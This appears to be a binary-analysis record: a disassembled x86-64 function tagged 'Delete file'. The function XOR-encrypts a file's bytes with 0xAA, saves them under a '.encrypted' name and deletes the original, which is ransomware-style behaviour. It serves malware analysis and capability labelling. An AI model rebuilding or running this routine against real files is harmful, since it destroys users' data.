Function at 0x14000155f
Capabilities:
Delete file

Disassembly:
push rbp
push rbx
sub rsp, 0x498
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x430], rcx
lea rax, [rbp + 0x1f0]
mov r8d, 4
mov rdx, qword [rbp + 0x430]
mov rcx, rax
call fcn.1400975e0
lea rax, [rbp + 0x1f0]
add rax, 0xd8
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator____const
test al, al
je 0x1400015e7
lea rdx, str.Failed_to_open_file:
mov rcx, qword [0x1400ce6e0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [rbp + 0x430]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 0
jmp 0x140001883
lea rax, [rbp + 0x3df]
mov rcx, rax
call fcn.140067490
lea rax, [rbp + 0x3e0]
mov rcx, rax
call method.std::istreambuf_iterator_char__std::char_traits_char___.istreambuf_iterator__
lea rdx, [rbp + 0x1f0]
lea rax, [rbp + 0x3f0]
mov rcx, rax
call method.std::istreambuf_iterator_char__std::char_traits_char___.istreambuf_iterator_std::istream_
mov rax, qword [rbp + 0x3f0]
mov rdx, qword [rbp + 0x3f8]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov rax, qword [rbp + 0x3e0]
mov rdx, qword [rbp + 0x3e8]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
lea r8, [rbp + 0x3df]
lea rcx, [rbp - 0x60]
lea rdx, [rbp - 0x50]
lea rax, [rbp + 0x1d0]
mov r9, r8
mov r8, rcx
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___::vector_std::istreambuf_iterator_char__std.char_traits_char_____void__std::istreambuf_iterator_char__std::char_traits_char_____std::istreambuf_iterator_char__std::char_traits_char_____std::
lea rax, [rbp + 0x3df]
mov rcx, rax
call sym.std::allocator_unsigned_char_::allocator__
lea rax, [rbp + 0x1f0]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x408], rax
mov rax, qword [rbp + 0x408]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.begin__
mov qword [rbp - 0x38], rax
mov rax, qword [rbp + 0x408]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.end__
mov qword [rbp - 0x40], rax
lea rdx, [rbp - 0x40]
lea rax, [rbp - 0x38]
mov rcx, rax
call method.bool___gnu_cxx::operator__unsigned_char__std::vector_unsigned_char__std.allocator_unsigned_char________gnu_cxx::__normal_iterator_unsigned_char__std::vector_unsigned_char__std::allocator_unsigned_char______const____gnu_cxx::__normal_iterator_un
test al, al
je 0x14000170a
lea rax, [rbp - 0x38]
mov rcx, rax
call method.__gnu_cxx::__normal_iterator_unsigned_char__std::vector_unsigned_char__std::allocator_unsigned_char_____.operator___const
mov qword [rbp + 0x400], rax
mov rax, qword [rbp + 0x400]
movzx eax, byte [rax]
xor eax, 0xffffffaa
mov edx, eax
mov rax, qword [rbp + 0x400]
mov byte [rax], dl
lea rax, [rbp - 0x38]
mov rcx, rax
call method.__gnu_cxx::__normal_iterator_unsigned_char__std::vector_unsigned_char__std::allocator_unsigned_char_____.operator__
jmp 0x1400016bd
lea rax, [rbp + 0x1b0]
lea r8, str..encrypted
mov rdx, qword [rbp + 0x430]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rdx, [rbp + 0x1b0]
lea rax, [rbp - 0x30]
mov r8d, 4
mov rcx, rax
call fcn.140099d50
lea rax, [rbp - 0x30]
add rax, 0xd0
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator____const
test al, al
je 0x140001794
lea rdx, str.Failed_to_write_to_file:
mov rcx, qword [0x1400ce6e0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp + 0x1b0]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 0
jmp 0x140001826
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov rbx, rax
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data__
mov rdx, rax
lea rax, [rbp - 0x30]
mov r8, rbx
mov rcx, rax
call method.std::ostream.write_char_const__long_long_
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
mov rcx, qword [rbp + 0x430]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.remove
test eax, eax
setne al
test al, al
je 0x140001821
lea rdx, str.Error_deleting_original_file:
mov rcx, qword [0x1400ce6e0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [rbp + 0x430]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 1
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream__
cmp ebx, 1
je 0x14000183e
mov ebx, 0
jmp 0x140001843
mov ebx, 1
lea rax, [rbp + 0x1b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
je 0x14000185e
mov ebx, 0
jmp 0x140001863
mov ebx, 1
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
cmp ebx, 1
je 0x14000187e
mov ebx, 0
jmp 0x140001883
mov ebx, 1
lea rax, [rbp + 0x1f0]
mov rcx, rax
call fcn.140097da0
cmp ebx, 1
jmp 0x140001902
add rsp, 0x498
pop rbx
pop rbp
ret